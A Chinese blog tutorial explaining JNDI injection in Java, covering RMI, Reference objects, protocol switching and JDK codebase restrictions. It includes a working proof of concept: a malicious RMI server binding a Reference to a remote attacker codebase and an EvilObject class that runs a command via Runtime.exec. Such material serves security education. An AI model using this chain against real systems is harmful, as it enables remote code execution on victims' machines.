前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JNDI注入原理浅析

JNDI注入原理浅析

作者头像
ConsT27
发布2022-02-11 14:48:32
3K0
发布2022-02-11 14:48:32
举报
文章被收录于专栏:ConsT27的笔记

JNDI注入依赖RMI,所以在学习JNDI注入前务必了解一下RMI

JNDI 简介

JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口。比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。 JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。

JNDI注入

RMI工作原理

首先我们先思考一下RMI的工作原理是什么。

代码语言:javascript
复制
1.服务器创建好继承于Remote接口的类,并把它绑定到RMI服务器上
2.客户端请求RMI服务器上的类
3.服务端返回客户端所请求类的存根stub,客户端将这个stub看作实例化对象使用
4.客户端调用stub的某个方法,并传入参数。该参数会发送到RMI服务器上,由RMI服务器按照客户端传来的参数来执行指定的方法
5.服务器执行完后将结果返回给客户端

所以从RMI这一端来看,客户端获取了远程对象后所执行的此对象的方法,都是由RMI服务器来执行的。

JNDI 与 RMI 的区别

rmi调用远程对象和JNDI调用远程对象,在代码上是有差别的

如下是RMI创建和调用远程对象

代码语言:javascript
复制
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;

interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name + " ^_^ ";
    }
}
public class CallService {
    public static void main(String args[]) throws Exception {
        IHello hello = new IHelloImpl();
        Naming.bind("hello", hello);
        
        IHello rHello = (IHello) Naming.lookup("hello");
        System.out.println(rHello.sayHello("RickGray"));
    }
}

而JNDI调用远程对象的过程如下,多了一步设置JNDI环境

代码语言:javascript
复制
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Properties;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;

interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name + " ^_^ ";
    }
}
public class CallService {
    public static void main(String args[]) throws Exception {
        // 配置 JNDI 默认设置
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:1022");
        Context ctx = new InitialContext(env);

        // 本地开启 1022 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
        Registry registry = LocateRegistry.createRegistry(1022);
        IHello hello = new IHelloImpl();
        registry.bind("hello", hello);

        // JNDI 获取 RMI 上的方法对象并进行调用
        IHello rHello = (IHello) ctx.lookup("hello");
        System.out.println(rHello.sayHello("tom"));
    }
}

Reference类

首先来看一下如何创建一个对象Reference并将其绑定到RMI服务器上

代码语言:javascript
复制
......定义好了registry,它是一个Registry对象(RMI中用于将类注册到服务器上的对象)
Reference refObj = new Reference("refClassName", "insClassName", "http://a.com:12345");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

前面说到RMI服务器会向客户端返回stub或者说一个对象,如果RMI服务器传回客户端一个Reference对象呢?那就要说道说道了。 对于RMI服务器而言,向客户端传回一个Reference对象和传回其他对象一样,并没有多大区别。 但是客户端由于获取到了一个Reference实例,比如说就是上面代码中的Reference实例,接下来客户端就会先在CLASSPATH里寻找被标识为refClassName的类。如果没找到,它就会去请求http://a.com:12345/refClassName.class 对里面的类进行动态加载,并调用insClassName类的构造方法。注意,调用insClassName类的构造方法这个行为是由客户端完成的。

上面的一系列行为可以概括为xiatu

image-20210324014723682
image-20210324014723682

JNDI 协议转换

我们在通过JNDI调用远程对象时,需要设置环境,就像这样

代码语言:javascript
复制
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");  //设置了rmi请求方式
env.put(Context.PROVIDER_URL,
        "rmi://localhost:1099");
Context ctx = new InitialContext(env);

比如以上代码,就设置了JNDI会通过rmi的方式去请求远程对象。

但是当调用lookup()或者search()时,可以直接无视环境是如何设置请求方式的,因为JNDI有协议动态转换机制。什么意思呢?看看代码就晓得了

代码语言:javascript
复制
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("ldap://a.com/ou=foo,dc=foobar,dc=com")

以上代码执行后,会调用ldap协议去请求,而不是rmi。 这是因为lookup或者search函数在参数为绝对路径URI的情况下动态转换协议为参数中指定的协议。

JNDI注入

如果我们满足以下条件,JNDI注入就会成功

JNDI调用的lookup参数可控 URI可进行动态协议转换 Reference对象指定类会被加载并实例化

其实最重要的就是第一条。

下面用一张图概括从JNDI注入到RCE的流程

image-20210324141937091
image-20210324141937091

1.攻击者控制了lookup参数 2.攻击者将lookup参数替换为去请求恶意服务器A上的Reference对象 3.恶意服务器A返回Reference对象 4.受害机器获得Reference对象后先在CLASSPATH中查找Reference对象中的指定类是否存在,若不存在则请求Reference对象中指定的恶意服务器B去获得指定类 5.恶意服务器B返回指定类 6.受害机器得到指定类后,执行指定类的构造函数,从而达到RCE

下面是代码实现

受害机器

代码语言:javascript
复制
import java.rmi.Remote;
import java.rmi.RemoteException;
import javax.naming.Context;
import javax.naming.InitialContext;

interface IHello extends Remote {
    abstract String sayHello(String name) throws RemoteException;
}
public class CallService {
    public static void main(String args[]) throws Exception{
        if(args.length<1){
            System.out.println("Plz input url");
            System.exit(-1);
        }
        else {
            // JNDI 获取 RMI 上的方法对象并进行调用
            Context ctx = new InitialContext();
            IHello rHello = (IHello) ctx.lookup((String)args[0]);
            System.out.println(rHello.sayHello("tom"));
        }
    }
}

RMI

代码语言:javascript
复制

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;


public class evilrmi {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1010);
        Reference refObj = new Reference("EvilObject","EvilObject","http://192.168.111.1:80/");
        ReferenceWrapper refObjWra = new ReferenceWrapper(refObj);
        registry.bind("refObj",refObjWra);
        System.out.println("gogo");
    }
}

EvilObject

代码语言:javascript
复制
import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}

我们先运行RMI服务器,然后把EvilObject.class放置于http://192.168.111.1:80/下,然后指定lookup参数为我们的恶意RMI服务器去运行受害机器。

如果是早期JDK版本,计算器就已经弹出来了。JDK 6u141, JDK 7u131, JDK 8u121 以及更高版本中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,所以会执行以上流程会有如下报错

代码语言:javascript
复制
The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

以上是JNDI Reference+RMI的利用方式,除此之外还有一个JNDI Reference+ldap 的利用方式,操作与JNDI Reference+RMI大同小异,也就是通过ldap协议lookup一个恶意服务器并获得恶意Reference对象,并且LDAP服务的Reference远程加载Factory类不受 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以利用面更广 但是在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

JNDI注入:高版本如何利用?

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • JNDI 简介
  • JNDI注入
    • RMI工作原理
      • JNDI 与 RMI 的区别
        • Reference类
          • JNDI 协议转换
            • JNDI注入
            • JNDI注入:高版本如何利用?
            相关产品与服务
            数据库专家服务
            数据库专家服务(Database Expert Service,DBexpert)为您提供专业化的数据库服务。仅需提交您的具体问题和需求,即可获得腾讯云数据库专家的专业支持,助您解决各类专业化问题。腾讯云数据库专家服务团队均有10年以上的 DBA 经验,拥有亿级用户产品的数据库管理经验,以及丰富的服务经验。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档